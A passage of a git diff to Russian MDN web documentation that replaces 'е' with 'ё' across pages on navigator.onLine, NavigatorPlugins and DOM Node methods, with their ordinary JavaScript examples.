class="hps">пользователь следует по</span> <span class="hps">ссылке или</span> <span class="hps">когда</span> <span class="hps">скрипт</span> <span class="hps">запрашивает</span> <span class="hps">удалённую страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">Например,</span> свойство<span class="hps"> должно</span> <span class="hps">вернуть <code>false</code></span><span>, когда</span> <span class="hps">пользователь кликает по</span> <span class="hps">ссылке,</span> <span class="hps">вскоре после</span> <span class="hps">потери</span> <span class="hps">подключения к интернету</span><span>.</span></span></p> <p>Браузеры реализуют это свойство по-разному.</p> -<p>В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернется <code>true</code>.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение <code>false</code>, но вы не можете предположить что значение true обязательно обозначает что браузер может получить доступ к интернету. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">получать</span> <span class="hps">ложные срабатывания</span><span>, например,</span> <span class="hps">в случаях, когда</span> <span class="hps">компьютер</span> <span class="hps">под управлением</span> <span class="hps">программного обеспечения</span> <span class="hps">для виртуализации</span><span>, которое имеет</span> <span class="hps">виртуальные</span> <span class="hps">сетевые адаптеры</span><span>, которые всегда</span> <span class="atn hps">"</span><span>Подключено".</span></span> <span id="result_box" lang="ru"><span class="hps">Поэтому</span><span>,</span> <span class="hps">если вы действительно хотите</span><span>, чтобы</span> <span class="hps">определять состояние</span> <span class="hps">браузера</span><span>,</span> <span class="hps">вы должны разработать</span> <span class="hps">дополнительные средства</span> <span class="hps">проверки</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Чтобы узнать больше</span><span>, см</span>отрите <span class="hps">статью</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p> +<p>В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернётся <code>true</code>.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение <code>false</code>, но вы не можете предположить что значение true обязательно обозначает что браузер может получить доступ к интернету. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">получать</span> <span class="hps">ложные срабатывания</span><span>, например,</span> <span class="hps">в случаях, когда</span> <span class="hps">компьютер</span> <span class="hps">под управлением</span> <span class="hps">программного обеспечения</span> <span class="hps">для виртуализации</span><span>, которое имеет</span> <span class="hps">виртуальные</span> <span class="hps">сетевые адаптеры</span><span>, которые всегда</span> <span class="atn hps">"</span><span>Подключено".</span></span> <span id="result_box" lang="ru"><span class="hps">Поэтому</span><span>,</span> <span class="hps">если вы действительно хотите</span><span>, чтобы</span> <span class="hps">определять состояние</span> <span class="hps">браузера</span><span>,</span> <span class="hps">вы должны разработать</span> <span class="hps">дополнительные средства</span> <span class="hps">проверки</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Чтобы узнать больше</span><span>, см</span>отрите <span class="hps">статью</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p> <p><span id="result_box" lang="ru"><span class="hps">В Firefox</span> <span class="hps">и</span> <span class="hps">Internet Explorer</span><span>, переключение</span> <span class="hps">браузер</span>а <span class="hps">в автономный режим</span> <span class="hps">посылает</span> </span><code>false</code> значение. Во всех остальных случаях возвращается значение<code> true</code>.</p> -<p><span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">увидеть изменения</span> <span class="hps">в</span> <span class="hps">состоянии сети</span> <span class="hps">путем обработки</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> и <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p> +<p><span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">увидеть изменения</span> <span class="hps">в</span> <span class="hps">состоянии сети</span> <span class="hps">путём обработки</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> и <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -124,7 +124,7 @@ window.addEventListener("online", function(e) {alert("online");}) </table> </div> -<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">и</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">браузер возвращает</span> <span class="hps"><code>true</code>, когда</span> <span class="hps">режим</span> <span class="atn hps">"</span><span>Работать автономно</span><span>"</span> <span class="hps">отключен, и</span> <code><span class="hps">false</span></code><span>, когда</span> <span class="hps">он включен</span><span>,</span> <span class="hps">независимо от фактического</span> <span class="hps">подключения</span><span>.</span></span></p> +<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">и</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">браузер возвращает</span> <span class="hps"><code>true</code>, когда</span> <span class="hps">режим</span> <span class="atn hps">"</span><span>Работать автономно</span><span>"</span> <span class="hps">отключён, и</span> <code><span class="hps">false</span></code><span>, когда</span> <span class="hps">он включён</span><span>,</span> <span class="hps">независимо от фактического</span> <span class="hps">подключения</span><span>.</span></span></p> <p>[2]<span id="result_box" lang="ru"><span class="hps"> Более ранние версии</span> <span class="hps">Chrome</span> <span class="hps">возвращали</span> <span class="hps"><code>true</code> неверно, когда</span> <span class="hps">вкладка</span> <span class="hps">открывается впервые,</span> <span class="hps">то он</span> вначале сообщает правильный статус <span class="hps">подключения</span> <span class="hps">после</span> <span class="hps">первого события</span> <span class="hps">сети.</span></span></p> @@ -132,7 +132,7 @@ window.addEventListener("online", function(e) {alert("online");}) <h2 id="Notes" name="Notes">Примечание</h2> -<p><span id="result_box" lang="ru"><span class="hps">См</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для более детального</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, а также</span> <span class="hps">новых возможностей</span> <span class="hps">в автономном режиме</span><span>, </span><span class="hps">введенных</span> <span class="hps">в</span></span> Firefox 3.</p> +<p><span id="result_box" lang="ru"><span class="hps">См</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для более детального</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, а также</span> <span class="hps">новых возможностей</span> <span class="hps">в автономном режиме</span><span>, </span><span class="hps">введённых</span> <span class="hps">в</span></span> Firefox 3.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/navigatorplugins/index.html b/files/ru/web/api/navigatorplugins/index.html index 3ab846b1c6..3cd92d124f 100644 --- a/files/ru/web/api/navigatorplugins/index.html +++ b/files/ru/web/api/navigatorplugins/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/NavigatorPlugins <dl> <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Возвращает флаг {{domxref("Boolean")}} показывающий включен ли java в браузере или нет.</dd> + <dd>Возвращает флаг {{domxref("Boolean")}} показывающий включён ли java в браузере или нет.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/navigatorplugins/javaenabled/index.html b/files/ru/web/api/navigatorplugins/javaenabled/index.html index 5d3ce42232..be4e6f741b 100644 --- a/files/ru/web/api/navigatorplugins/javaenabled/index.html +++ b/files/ru/web/api/navigatorplugins/javaenabled/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/NavigatorPlugins/javaEnabled --- <p>{{ APIRef("HTML DOM") }}</p> -<p>Этот метод показывает включен ли java в текущем браузере или нет.</p> +<p>Этот метод показывает включён ли java в текущем браузере или нет.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -21,7 +21,7 @@ translation_of: Web/API/NavigatorPlugins/javaEnabled <h2 id="Notes" name="Notes">Примечание</h2> -<p>Возвращаемое значение этого метода показывает положение java, включен ли или выключен - не предполагает поддержку java браузером полностью.</p> +<p>Возвращаемое значение этого метода показывает положение java, включён ли или выключен - не предполагает поддержку java браузером полностью.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html index e011179528..149d9b9b98 100644 --- a/files/ru/web/api/node/appendchild/index.html +++ b/files/ru/web/api/node/appendchild/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/Node/appendChild <h2 id="Example" name="Example">Пример</h2> -<pre class="brush:js notranslate">// Создаем новый элемент параграфа, и вставляем в конец document body +<pre class="brush:js notranslate">// Создаём новый элемент параграфа, и вставляем в конец document body var p = document.createElement("p"); document.body.appendChild(p);</pre> diff --git a/files/ru/web/api/node/clonenode/index.html b/files/ru/web/api/node/clonenode/index.html index fbb7f327e7..64c76b2749 100644 --- a/files/ru/web/api/node/clonenode/index.html +++ b/files/ru/web/api/node/clonenode/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Node/cloneNode <div class="note"> <p><strong>Примечание:</strong> в спецификации DOM4 (как реализовано в Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> необязательный аргумент. Если он опущен, метод действует как если бы значение <code>deep</code> было <strong><code>true</code></strong>, по умолчанию используется глубокое клонирование. Для создания поверхностного клонирования, <code>deep</code> должен быть установлен как <code>false</code>.</p> -<p>Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы <code>deep</code> было <strong><code>false</code></strong>. Хотя, это все еще не обязательно, вы всегда должны обеспечить аргументом <code>deep</code>, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.</p> +<p>Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы <code>deep</code> было <strong><code>false</code></strong>. Хотя, это все ещё не обязательно, вы всегда должны обеспечить аргументом <code>deep</code>, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.</p> </div> <h2 id="Example" name="Example">Пример</h2> @@ -37,7 +37,7 @@ translation_of: Web/API/Node/cloneNode <p id="not-event-listeners">Клонирование узлов копирует все атрибуты и их значения, в том числе собственных (в линию) перехватчиков. Это не копирует перехватчики событий, добавленных используя <a href="/en-US/docs/DOM/element.addEventListener" title="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> или тех что назначены через свойства элемента (т.е <code>node.onclick = fn</code>).</p> -<p>Дубликат узла, возвращенного <code>cloneNode()</code> не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.</p> +<p>Дубликат узла, возвращённого <code>cloneNode()</code> не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.</p> <p><code>Если deep</code> установлен как <code>false</code>, дочерние узлы не клонируются. Любой текст, который содержит узел также не клонируется, как и содержащийся в одном или более дочернем узле {{domxref("Text")}}.</p> @@ -45,7 +45,7 @@ translation_of: Web/API/Node/cloneNode <div class="warning"><strong>Внимание:</strong> <code>cloneNode()</code> может привести к дублированию идентификаторов элементов в документе.</div> -<p>Если исходный узел имеет идентификатор и клон размещен в том же документе, идентификатор должен быть изменен, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, <span id="result_box" lang="ru"><span>в зависимости</span> <span class="hps">от</span></span> будущего имени дубликата.</p> +<p>Если исходный узел имеет идентификатор и клон размещён в том же документе, идентификатор должен быть изменён, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, <span id="result_box" lang="ru"><span>в зависимости</span> <span class="hps">от</span></span> будущего имени дубликата.</p> <p>Чтобы клонировать узел для добавления к другому документу используйте {{domxref("Document.importNode()")}} вместо этого.</p> diff --git a/files/ru/web/api/node/comparedocumentposition/index.html b/files/ru/web/api/node/comparedocumentposition/index.html index 0be1dac540..d2972a7ab8 100644 --- a/files/ru/web/api/node/comparedocumentposition/index.html +++ b/files/ru/web/api/node/comparedocumentposition/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Node/compareDocumentPosition </pre> <ul> <li><code>node</code> это узел, который сравнивается</li> - <li><code>otherNode</code> это узел, с которым идет сравнение.</li> + <li><code>otherNode</code> это узел, с которым идёт сравнение.</li> </ul> <p>Возвращаемое значение вычисляется как отношение, которое имеется между <code>otherNode</code> и <code>node</code>.</p> <h2 id="Notes" name="Notes">Примечание</h2> diff --git a/files/ru/web/api/node/getuserdata/index.html b/files/ru/web/api/node/getuserdata/index.html index 43a766ed8d..2d929785e3 100644 --- a/files/ru/web/api/node/getuserdata/index.html +++ b/files/ru/web/api/node/getuserdata/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/Node/getUserData <h3 id="Параметры">Параметры</h3> <ul> - <li><code>userKey</code> это ключ для выбора определенных данных искомых для данного узла. Больше чем один ключ может быть назначен для данного узла, содержащий свое собственное значение.</li> + <li><code>userKey</code> это ключ для выбора определённых данных искомых для данного узла. Больше чем один ключ может быть назначен для данного узла, содержащий своё собственное значение.</li> </ul> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/node/index.html b/files/ru/web/api/node/index.html index a8b7e33c56..ebbbfbc41e 100644 --- a/files/ru/web/api/node/index.html +++ b/files/ru/web/api/node/index.html @@ -30,10 +30,10 @@ translation_of: Web/API/Node <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Node")}}, представляющий последний прямой узел потомок узла или <code>null</code>, если узел не имеет потомков.</dd> <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt> - <dd>Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от <code>localName</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd> + <dd>Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от <code>localName</code> быть определённым как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все ещё реализуют его как интерфейс {{domxref("Node")}}.</dd> <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt> - <dd>Пространство имен URI данного узла или <code>null,</code> если нет пространства имен. В Firefox 3.5 и более ранних версиях, HTML элементы не имеют пространства имен. В более поздних версиях, HTML элементы находятся в пространстве имен <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}<br> - Хотя недавние спецификации требуют <code>namespaceURI</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd> + <dd>Пространство имён URI данного узла или <code>null,</code> если нет пространства имён. В Firefox 3.5 и более ранних версиях, HTML элементы не имеют пространства имён. В более поздних версиях, HTML элементы находятся в пространстве имён <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}<br> + Хотя недавние спецификации требуют <code>namespaceURI</code> быть определённым как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все ещё реализуют его как интерфейс {{domxref("Node")}}.</dd> <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Node")}} представляющий следующий узел в древе или <code>null,</code> если не такого узла.</dd> <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt> @@ -104,12 +104,12 @@ translation_of: Web/API/Node <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Document")}} к которому принадлежит этот узел. Если нет связанного с ним документа, возвращает <code>null</code>.</dd> <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt> - <dd>Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернет<code> null</code>.</dd> + <dd>Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернёт<code> null</code>.</dd> <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt> - <dd>Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернет <code>null</code>.</dd> + <dd>Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернёт <code>null</code>.</dd> <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt> - <dd>{{domxref("DOMString")}} представляющий префикс пространства имен узла или <code>null</code> если нет префикса точно определенного.<br> - Хотя недавние спецификации требуют того, чтобы <code>префикс</code> был определен как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko еще реализовывают его как интерфейс {{domxref("Node")}}.</dd> + <dd>{{domxref("DOMString")}} представляющий префикс пространства имён узла или <code>null</code> если нет префикса точно определенного.<br> + Хотя недавние спецификации требуют того, чтобы <code>префикс</code> был определён как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko ещё реализовывают его как интерфейс {{domxref("Node")}}.</dd> <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt> <dd>Возвращают {{domxref("Node")}} представляющий предыдущий узел древа или <code>null</code>, если нет такого узла.</dd> <dt>{{domxref("Node.textContent")}}</dt> @@ -238,7 +238,7 @@ document.body.removeAll();</pre> <tr> <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td> <td>{{Spec2('DOM3 Core')}}</td> - <td>Методы <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> возвращают еще один вид ошибок (<code>NOT_SUPPORTED_ERR</code>) если вызваны из {{domxref("Document")}}.<br> + <td>Методы <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> возвращают ещё один вид ошибок (<code>NOT_SUPPORTED_ERR</code>) если вызваны из {{domxref("Document")}}.<br> Метод <code>normalize()</code> был модифицирован таким образом, что узел {{domxref("Text")}} также может быть нормализован, если надлежащий флаг {{domxref("DOMConfiguration")}} установлен.<br> Добавлены следующие методы: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br> Добавлены следующие свойства: <code>baseURI</code> and <code>textContent</code>.</td> @@ -246,7 +246,7 @@ document.body.removeAll();</pre> <tr> <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td> <td>{{Spec2('DOM2 Core')}}</td> - <td>Свойство <code>ownerDocument</code> был слегка изменен, так что {{domxref("DocumentFragment")}} также возвращает <code>null</code>.<br> + <td>Свойство <code>ownerDocument</code> был слегка изменён, так что {{domxref("DocumentFragment")}} также возвращает <code>null</code>.<br> Добавлены следующие свойства: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br> Добавлены следующие методы: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td> </tr> diff --git a/files/ru/web/api/node/insertbefore/index.html b/files/ru/web/api/node/insertbefore/index.html index 1ca87864c8..b512bffba9 100644 --- a/files/ru/web/api/node/insertbefore/index.html +++ b/files/ru/web/api/node/insertbefore/index.html @@ -36,7 +36,7 @@ translation_of: Web/API/Node/insertBefore </div> <script> -// Создаем новый <span> +// Создаём новый <span> var sp1 = document.createElement("span"); // Получаем ссылку на элемент, перед которым мы хотим вставить sp1 @@ -49,13 +49,13 @@ parentDiv.insertBefore(sp1, sp2); </script> </pre> -<p>Однако нет метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он может быть заменен использованием метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> в связке с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p> +<p>Однако нет метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он может быть заменён использованием метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> в связке с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p> <p>В предыдущем примере <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp1</span> может быть вставлен после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> следующим образом:</p> <pre><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre> -<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> не имеет следующего элемента, то он будет последним дочерним элементом, <code style="font-style: normal;">sp2.nextSibling вернет </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, а <code style="font-style: normal;">sp1</code> вставится в конец дочернего узла (сразу после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p> +<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> не имеет следующего элемента, то он будет последним дочерним элементом, <code style="font-style: normal;">sp2.nextSibling вернёт </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, а <code style="font-style: normal;">sp1</code> вставится в конец дочернего узла (сразу после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p> <h2 id="Example2" name="Example2">Пример 2</h2> @@ -66,14 +66,14 @@ var parentElement = document.getElementById('parentElement'); // Получаем ссылку на первый дочерний элемент var theFirstChild = parentElement.firstChild; -// Создаем новый элемент, который будем добавлять +// Создаём новый элемент, который будем добавлять var newElement = document.createElement("div"); // Вставляем новый элемент перед первым дочерним элементом parentElement.insertBefore(newElement, theFirstChild); </pre> -<p>Когда у родителя нет первого дочернего элемента, <code>firstChild</code> вернет <code>null</code>. Новый элемент все равно будет выставляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемента, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.</p> +<p>Когда у родителя нет первого дочернего элемента, <code>firstChild</code> вернёт <code>null</code>. Новый элемент все равно будет выставляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемента, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.</p> <h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2> diff --git a/files/ru/web/api/node/isdefaultnamespace/index.html b/files/ru/web/api/node/isdefaultnamespace/index.html index 88f139a5a0..581a56c524 100644 --- a/files/ru/web/api/node/isdefaultnamespace/index.html +++ b/files/ru/web/api/node/isdefaultnamespace/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Node/isDefaultNamespace <div>{{APIRef("DOM")}}</div> </div> -<p>Метод <strong><code>Node.isDefaultNamespace()</code></strong> принимает URI пространства имен в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением <code>true</code> если пространство имен является пространством имен данного узла по умолчанию или <code>false</code> если нет.</p> +<p>Метод <strong><code>Node.isDefaultNamespace()</code></strong> принимает URI пространства имён в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением <code>true</code> если пространство имён является пространством имён данного узла по умолчанию или <code>false</code> если нет.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/API/Node/isDefaultNamespace <ul> <li><code>result</code> содержит в себе возвращаемое значение <code>true</code> или <code>false</code>.</li> - <li><code>namespaceURI</code> это строка представляющая собой пространство имен, на которое элемент будет проверен.</li> + <li><code>namespaceURI</code> это строка представляющая собой пространство имён, на которое элемент будет проверен.</li> </ul> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/node/isequalnode/index.html b/files/ru/web/api/node/isequalnode/index.html index 3c76678b0a..c091b24c9f 100644 --- a/files/ru/web/api/node/isequalnode/index.html +++ b/files/ru/web/api/node/isequalnode/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/Node/isEqualNode <h2 id="Пример">Пример</h2> -<p>В этом примере мы создаем три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.</p> +<p>В этом примере мы создаём три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.</p> <h3 id="HTML">HTML</h3> diff --git a/files/ru/web/api/node/issupported/index.html b/files/ru/web/api/node/issupported/index.html index a5fc7e0279..2ffbdadbca 100644 --- a/files/ru/web/api/node/issupported/index.html +++ b/files/ru/web/api/node/issupported/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Node/isSupported --- <p>{{APIRef("DOM")}}{{obsolete_header}}</p> -<p><code><strong>Node.isSupported()</strong></code> возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определенное свойство и поддерживается ли это свойство конкретным узлом.</p> +<p><code><strong>Node.isSupported()</strong></code> возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определённое свойство и поддерживается ли это свойство конкретным узлом.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -15,7 +15,7 @@ translation_of: Web/API/Node/isSupported <dl> <dt><em>feature</em></dt> - <dd>Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод <code>hasFeature</code> в <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Возможные значения определенные в спецификации ядра DOM перечислены в DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">соответствующий раздел</a>.</dd> + <dd>Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод <code>hasFeature</code> в <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Возможные значения определённые в спецификации ядра DOM перечислены в DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">соответствующий раздел</a>.</dd> <dt><em>version</em></dt> <dd>Это {{domxref("DOMString")}} содержащая номер версии свойства для ис проверки.В DOM уровень 2, version 1, это строка <code>2.0</code>. если версия не указана, поддерживает любую версию свойства, вызывает метод и возвращает true.</dd> </dl> diff --git a/files/ru/web/api/node/localname/index.html b/files/ru/web/api/node/localname/index.html index da553936f9..9347aea3d0 100644 --- a/files/ru/web/api/node/localname/index.html +++ b/files/ru/web/api/node/localname/index.html @@ -49,7 +49,7 @@ translation_of: Web/API/Node/localName <h2 id="Notes" name="Notes">Примечания</h2> -<p>Локальное имя узла, является полным именем узла, которое идет после двоеточия. Полное имя, как правило, используется как часть пространства имен <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">конкретных</span> <span class="hps">XML</span> <span class="hps">документов.</span></span> Например, полное имя <code>ecomm:partners</code>, <code>partners</code> это локальное имя и <code>ecomm</code> это префикс:</p> +<p>Локальное имя узла, является полным именем узла, которое идёт после двоеточия. Полное имя, как правило, используется как часть пространства имён <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">конкретных</span> <span class="hps">XML</span> <span class="hps">документов.</span></span> Например, полное имя <code>ecomm:partners</code>, <code>partners</code> это локальное имя и <code>ecomm</code> это префикс:</p> <pre class="brush:xml"><ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> diff --git a/files/ru/web/api/node/lookupnamespaceuri/index.html b/files/ru/web/api/node/lookupnamespaceuri/index.html index 10899ce8ae..d37ac9f73a 100644 --- a/files/ru/web/api/node/lookupnamespaceuri/index.html +++ b/files/ru/web/api/node/lookupnamespaceuri/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Node/lookupNamespaceURI --- <div>{{APIRef("DOM")}}</div> -<p>Метод <code><strong>Node.lookupNamespaceURI()</strong></code> берет префикс и возвращает пространство имен URI связанное с ним в данном узле, если найден (и <code>null</code> если нет). Устанавливает <code>null</code> для префикса который возвращает пространство имен по умолчанию.</p> +<p>Метод <code><strong>Node.lookupNamespaceURI()</strong></code> берет префикс и возвращает пространство имён 